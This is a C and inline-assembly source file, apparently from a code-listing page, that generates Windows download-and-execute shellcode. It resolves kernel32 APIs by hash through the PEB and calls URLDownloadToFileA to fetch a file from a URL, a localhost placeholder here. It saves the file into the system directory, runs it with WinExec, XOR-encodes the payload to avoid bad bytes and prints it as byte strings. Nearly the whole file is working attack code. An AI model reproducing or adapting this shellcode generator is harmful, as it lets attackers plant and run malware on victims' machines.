1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465
|
#include <stdio.h> #include <winsock2.h>
#pragma comment(lib, "ws2_32")
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN #define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90" #define SEARCH_LEN 8 #define MAX_SC_LEN 2048 #define HASH_KEY 13
#define DECODE_LEN 24 #define SC_LEN_OFFSET 7 #define ENC_KEY_OFFSET 14 #define ENC_KEY 0x99
#define ADDR_LoadLibraryA [esi] #define ADDR_GetSystemDirectoryA [esi+4] #define ADDR_WinExec [esi+8] #define ADDR_ExitProcess [esi+12] #define ADDR_URLDownloadToFileA [esi+16]
unsigned char functions[100][128] = { {"LoadLibraryA"}, {"GetSystemDirectoryA"}, {"WinExec"}, {"ExitProcess"}, {"URLDownloadToFileA"}, {""}, };
unsigned char sc[1024] = {0};
unsigned char url[]= "http://127.0.0.1/calc.exe\x00";
void ShellCode();
static DWORD __stdcall GetHash ( char *c ) { DWORD h = 0;
while ( *c ) { __asm ror h, HASH_KEY
h += *c++; } return( h ); }
void PrintSc(unsigned char *sc, int len) { int i,j; char *p; char msg[6];
for(i = 0; i < len; i++) { if((i%16)==0) { if(i!=0) printf("\"\n\""); else printf("\""); }
sprintf(msg, "\\x%.2X", sc[i] & 0xff);
for( p = msg, j=0; j < 4; p++, j++ ) { if(isupper(*p)) printf("%c", _tolower(*p)); else printf("%c", p[0]); } }
printf("\";\n"); }
void Make_ShellCode() { unsigned char *pSc_addr; unsigned int Sc_len; unsigned int Enc_key=ENC_KEY; unsigned long dwHash[100]; unsigned int dwHashSize;
int i,j,k,l;
printf("[+] Get functions hash strings.\r\n"); for (i=0;;i++) { if (functions[i][0] == '\x0') break;
dwHash[i] = GetHash((char*)functions[i]); printf("\t%.8X\t%s\n", dwHash[i], functions[i]); } dwHashSize = i*4;
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k ) { if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) { break; } } pSc_addr+=(k+SEARCH_LEN);
for (k=0;k<MAX_SC_LEN;++k) { if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) { break; } } Sc_len=k;
memcpy(sc, pSc_addr, Sc_len);
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize); Sc_len += dwHashSize;
memcpy(sc+Sc_len, url, sizeof(url)-1); Sc_len += sizeof(url)-1;
printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);
for(k=0; k <= Sc_len-3; ++k) { if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k); if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k); }
for(i=0xff; i>0; i--) { l = 0; for(j=DECODE_LEN; j<Sc_len; j++) { if ( ((sc[j] ^ i) == 0x26) || ((sc[j] ^ i) == 0x3d) || ((sc[j] ^ i) == 0x3f) || ((sc[j] ^ i) == 0x40) || ((sc[j] ^ i) == 0x00) || ((sc[j] ^ i) == 0x0D) || ((sc[j] ^ i) == 0x0A) ) { l++; break; }; }
if (l==0) { Enc_key = i; for(j=DECODE_LEN; j<Sc_len; j++) { sc[j] ^= Enc_key; }
break; } }
if (l!=0) { printf("[-] No xor byte found!\r\n"); exit(-1); }
if (Sc_len > 0xff) *(unsigned char *)&sc[SC_LEN_OFFSET + 1] = Sc_len >> 8; *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len; *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
printf("/* %d bytes decode */\r\n", DECODE_LEN); PrintSc(sc, DECODE_LEN);
printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key); PrintSc((unsigned char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
printf("[+] download url:%s\n", url); }
void main() { DWORD addr; WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
Make_ShellCode();
addr = (DWORD)≻
__asm { jmp addr }
return; }
void ShellCode() { __asm { PROC_BEGIN
jmp short decode_end
decode_start: pop ebx dec ebx xor ecx,ecx mov ecx,0xFF
decode_loop: xor byte ptr [ebx+ecx],0x99 loop decode_loop jmp short decode_ok
decode_end: call decode_start
decode_ok:
jmp sc_end
sc_start: pop edi xor ecx, ecx mov eax, fs:0x30 mov eax, [eax+0x0c] mov esi, [eax+0x1c] next_module: mov edx, [esi+8] mov ebx, [esi+0x20] mov esi, [esi] cmp [ebx+12*2], cl jne next_module mov ebp, edx
mov esi, edi
push 4 pop ecx
getkernel32: call GetProcAddress_fun loop getkernel32
push 0x00006e6f push 0x6d6c7275 push esp call ADDR_LoadLibraryA
mov ebp, eax
call GetProcAddress_fun
sub esp, 0x20 mov ebx, esp
push 0x20 push ebx call ADDR_GetSystemDirectoryA
mov dword ptr [ebx+eax], 0x652E615C mov dword ptr [ebx+eax+0x4], 0x00006578 xor eax, eax push eax push eax push ebx push edi push eax call ADDR_URLDownloadToFileA
mov ebx, esp push eax push ebx call ADDR_WinExec
Finished: call ADDR_ExitProcess
GetProcAddress_fun: push ecx push esi
mov esi, [ebp+0x3C] mov esi, [esi+ebp+0x78] add esi, ebp push esi mov esi, [esi+0x20] add esi, ebp xor ecx, ecx dec ecx
find_start: inc ecx lodsd add eax, ebp xor ebx, ebx
hash_loop: movsx edx, byte ptr [eax] cmp dl, dh jz short find_addr ror ebx, HASH_KEY add ebx, edx inc eax jmp short hash_loop
find_addr: cmp ebx, [edi] jnz short find_start pop esi mov ebx, [esi+0x24] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [esi+0x1C] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp stosd
pop esi pop ecx ret
sc_end: call sc_start
PROC_END } }
|